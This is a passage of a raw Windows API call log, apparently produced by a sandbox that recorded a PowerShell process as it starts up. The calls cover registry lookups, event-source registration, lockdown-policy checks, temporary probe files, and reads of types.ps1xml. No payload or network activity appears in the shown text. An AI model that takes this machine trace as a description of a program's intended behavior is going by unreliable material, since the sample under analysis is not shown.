| out: phkResult=0x427e228*=0x4bc) returned 0x0 [0090.045] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x508) returned 0x0 [0090.045] RegCloseKey (hKey=0x508) returned 0x0 [0090.045] RegCloseKey (hKey=0x278) returned 0x0 [0090.046] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.046] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e1e4 | out: phkResult=0x427e1e4*=0x4bc) returned 0x0 [0090.046] RegQueryInfoKeyW (in: hKey=0x4bc, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x427e234, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x427e230, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x427e234*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x427e230*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.046] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x0, lpName=0x6558d88, lpcchName=0x427e250, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x427e250, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.046] CoTaskMemFree (pv=0x0) [0090.046] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x1, lpName=0x6558d88, lpcchName=0x427e250, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x427e250, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.046] CoTaskMemFree (pv=0x0) [0090.046] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x2, lpName=0x6558d88, lpcchName=0x427e250, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x427e250, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.046] CoTaskMemFree (pv=0x0) [0090.046] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x3, lpName=0x6558d88, lpcchName=0x427e250, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x427e250, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.046] CoTaskMemFree (pv=0x0) [0090.046] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x4, lpName=0x6558d88, lpcchName=0x427e250, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x427e250, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.046] CoTaskMemFree (pv=0x0) [0090.046] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x5, lpName=0x6558d88, lpcchName=0x427e250, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x427e250, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.046] CoTaskMemFree (pv=0x0) [0090.046] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x6, lpName=0x6558d88, lpcchName=0x427e250, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x427e250, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.046] CoTaskMemFree (pv=0x0) [0090.046] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x7, lpName=0x6558d88, lpcchName=0x427e250, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x427e250, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.046] CoTaskMemFree (pv=0x0) [0090.047] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x278) returned 0x0 [0090.047] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x0) returned 0x2 [0090.047] RegCloseKey (hKey=0x278) returned 0x0 [0090.047] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x278) returned 0x0 [0090.047] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x0) returned 0x2 [0090.047] RegCloseKey (hKey=0x278) returned 0x0 [0090.047] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x278) returned 0x0 [0090.047] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x0) returned 0x2 [0090.047] RegCloseKey (hKey=0x278) returned 0x0 [0090.047] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x278) returned 0x0 [0090.047] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x0) returned 0x2 [0090.047] RegCloseKey (hKey=0x278) returned 0x0 [0090.047] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x278) returned 0x0 [0090.047] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x0) returned 0x2 [0090.048] RegCloseKey (hKey=0x278) returned 0x0 [0090.048] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x278) returned 0x0 [0090.048] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x0) returned 0x2 [0090.048] RegCloseKey (hKey=0x278) returned 0x0 [0090.048] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x278) returned 0x0 [0090.048] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x0) returned 0x2 [0090.048] RegCloseKey (hKey=0x278) returned 0x0 [0090.048] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x278) returned 0x0 [0090.048] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e210 | out: phkResult=0x427e210*=0x508) returned 0x0 [0090.048] RegCloseKey (hKey=0x508) returned 0x0 [0090.048] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.048] RegCloseKey (hKey=0x278) returned 0x0 [0090.050] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x8b10004 [0090.052] ReportEventW (hEventLog=0x8b10004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x6559a9c*="Registry", lpRawData=0x65599b0) returned 1 [0090.117] ReportEventW (hEventLog=0x8b10004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x655beb0*="Alias", lpRawData=0x655bdd8) returned 1 [0090.118] ReportEventW (hEventLog=0x8b10004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x655e3e4*="Environment", lpRawData=0x655e30c) returned 1 [0090.119] CoTaskMemAlloc (cb=0x210) returned 0x436ba28 [0090.119] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x436ba28, nSize=0x106 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0090.119] CoTaskMemFree (pv=0x436ba28) [0090.119] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x427de64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0090.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e2c0) returned 1 [0090.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps"), fInfoLevelId=0x0, lpFileInformation=0x427e33c | out: lpFileInformation=0x427e33c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa82b2a28, ftCreationTime.dwHighDateTime=0x1d2d079, ftLastAccessTime.dwLowDateTime=0xd441432d, ftLastAccessTime.dwHighDateTime=0x1d4ae27, ftLastWriteTime.dwLowDateTime=0xd441432d, ftLastWriteTime.dwHighDateTime=0x1d4ae27, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0090.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e2bc) returned 1 [0090.120] CoTaskMemAlloc (cb=0x210) returned 0x436ba28 [0090.120] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x436ba28, nSize=0x106 | out: lpBuffer="恈к㡈йsers\\CIiHmnxMn6Ps") returned 0x0 [0090.120] CoTaskMemFree (pv=0x436ba28) [0090.121] GetLogicalDrives () returned 0x4 [0090.121] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x427dd44, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0090.121] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0090.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e2b8) returned 1 [0090.201] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x427e1c0, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x427e2e0, lpMaximumComponentLength=0x427e2dc, lpFileSystemFlags=0x427e2d8, lpFileSystemNameBuffer=0x427e158, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x427e2e0*=0xd2ca4def, lpMaximumComponentLength=0x427e2dc*=0xff, lpFileSystemFlags=0x427e2d8*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0090.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e2b4) returned 1 [0090.201] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0090.202] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0090.202] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x427ddd4, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0090.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e270) returned 1 [0090.202] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x655f848 | out: lpFileInformation=0x655f848*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x90fa1f36, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0xd298e23e, ftLastAccessTime.dwHighDateTime=0x1d4ae27, ftLastWriteTime.dwLowDateTime=0xd298e23e, ftLastWriteTime.dwHighDateTime=0x1d4ae27, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e26c) returned 1 [0090.202] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x427ddd4, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0090.202] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x427dd5c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0090.203] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0090.203] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0090.244] PathIsNetworkPathW (pszPath="C:\\") returned 0 [0090.244] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x427dd14, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0090.245] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0090.245] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0090.280] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0090.280] ReportEventW (hEventLog=0x8b10004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x6561cf4*="FileSystem", lpRawData=0x6561c1c) returned 1 [0090.284] ReportEventW (hEventLog=0x8b10004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x6564318*="Function", lpRawData=0x6564240) returned 1 [0090.285] ReportEventW (hEventLog=0x8b10004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x6566798*="Variable", lpRawData=0x65666c0) returned 1 [0090.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x427ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0090.369] CoTaskMemAlloc (cb=0x20c) returned 0x436ba28 [0090.369] GetSystemDirectoryW (in: lpBuffer=0x436ba28, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0090.369] CoTaskMemFree (pv=0x436ba28) [0090.370] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dcc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0090.370] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0090.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e1a0) returned 1 [0090.370] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e21c | out: lpFileInformation=0x427e21c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0090.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e19c) returned 1 [0090.450] WldpGetLockdownPolicy () returned 0x10000000 [0090.554] CoTaskMemAlloc (cb=0x20c) returned 0x42efdf0 [0090.554] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x42efdf0 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0090.554] CoTaskMemFree (pv=0x42efdf0) [0090.554] GetLongPathNameW (in: lpszShortPath="C:\\Users\\CIIHMN~1\\", lpszLongPath=0x427dd44, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\CIiHmnxMn6Ps\\") returned 0x16 [0090.555] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x427dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0090.555] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x427dd4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0090.555] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x427dd48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0090.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e130) returned 1 [0090.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x427e1ac | out: lpFileInformation=0x427e1ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa834b392, ftCreationTime.dwHighDateTime=0x1d2d079, ftLastAccessTime.dwLowDateTime=0xd900aa61, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xd900aa61, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0090.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e12c) returned 1 [0090.559] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\cjppbfq4.bds.ps1", nBufferLength=0x105, lpBuffer=0x427dbe8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\cjppbfq4.bds.ps1", lpFilePart=0x0) returned 0x39 [0090.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0dc) returned 1 [0090.559] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\cjppbfq4.bds.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\temp\\cjppbfq4.bds.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x524 [0090.560] GetFileType (hFile=0x524) returned 0x1 [0090.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d8) returned 1 [0090.560] GetFileType (hFile=0x524) returned 0x1 [0090.561] WriteFile (in: hFile=0x524, lpBuffer=0x657ec2c*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x427e174, lpOverlapped=0x0 | out: lpBuffer=0x657ec2c*, lpNumberOfBytesWritten=0x427e174*=0x1, lpOverlapped=0x0) returned 1 [0090.562] CloseHandle (hObject=0x524) returned 1 [0090.562] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\y2tg4mad.4xk.psm1", nBufferLength=0x105, lpBuffer=0x427dbe8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\y2tg4mad.4xk.psm1", lpFilePart=0x0) returned 0x3a [0090.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0dc) returned 1 [0090.563] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\y2tg4mad.4xk.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\temp\\y2tg4mad.4xk.psm1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x524 [0090.564] GetFileType (hFile=0x524) returned 0x1 [0090.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d8) returned 1 [0090.564] GetFileType (hFile=0x524) returned 0x1 [0090.564] WriteFile (in: hFile=0x524, lpBuffer=0x65811d0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x427e174, lpOverlapped=0x0 | out: lpBuffer=0x65811d0*, lpNumberOfBytesWritten=0x427e174*=0x1, lpOverlapped=0x0) returned 1 [0090.565] CloseHandle (hObject=0x524) returned 1 [0090.567] CoTaskMemAlloc (cb=0x74) returned 0x43136e0 [0090.568] IdentifyCodeAuthzLevelW () returned 0x1 [0090.581] CoTaskMemFree (pv=0x43136e0) [0090.581] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0090.582] CloseCodeAuthzLevel () returned 0x1 [0090.582] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\cjppbfq4.bds.ps1", nBufferLength=0x105, lpBuffer=0x427dd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\cjppbfq4.bds.ps1", lpFilePart=0x0) returned 0x39 [0090.582] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\cjppbfq4.bds.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\temp\\cjppbfq4.bds.ps1")) returned 1 [0090.584] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\y2tg4mad.4xk.psm1", nBufferLength=0x105, lpBuffer=0x427dd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\y2tg4mad.4xk.psm1", lpFilePart=0x0) returned 0x3a [0090.584] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Temp\\y2tg4mad.4xk.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\temp\\y2tg4mad.4xk.psm1")) returned 1 [0090.605] GetSystemInfo (in: lpSystemInfo=0x427e248 | out: lpSystemInfo=0x427e248*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0090.606] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e1d4 | out: phkResult=0x427e1d4*=0x528) returned 0x0 [0090.606] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e1f0, lpData=0x0, lpcbData=0x427e1ec*=0x0 | out: lpType=0x427e1f0*=0x0, lpData=0x0, lpcbData=0x427e1ec*=0x0) returned 0x2 [0090.606] RegCloseKey (hKey=0x528) returned 0x0 [0090.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x427dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0090.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e1d4) returned 1 [0090.607] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0090.607] GetFileType (hFile=0x528) returned 0x1 [0090.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e1d0) returned 1 [0090.607] GetFileType (hFile=0x528) returned 0x1 [0090.669] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x0 [0090.669] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.747] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x1000 [0090.747] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.748] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x2000 [0090.748] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.748] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x3000 [0090.749] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.749] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x4000 [0090.749] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.749] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x5000 [0090.749] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.750] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x6000 [0090.750] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.750] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x7000 [0090.750] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.751] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: 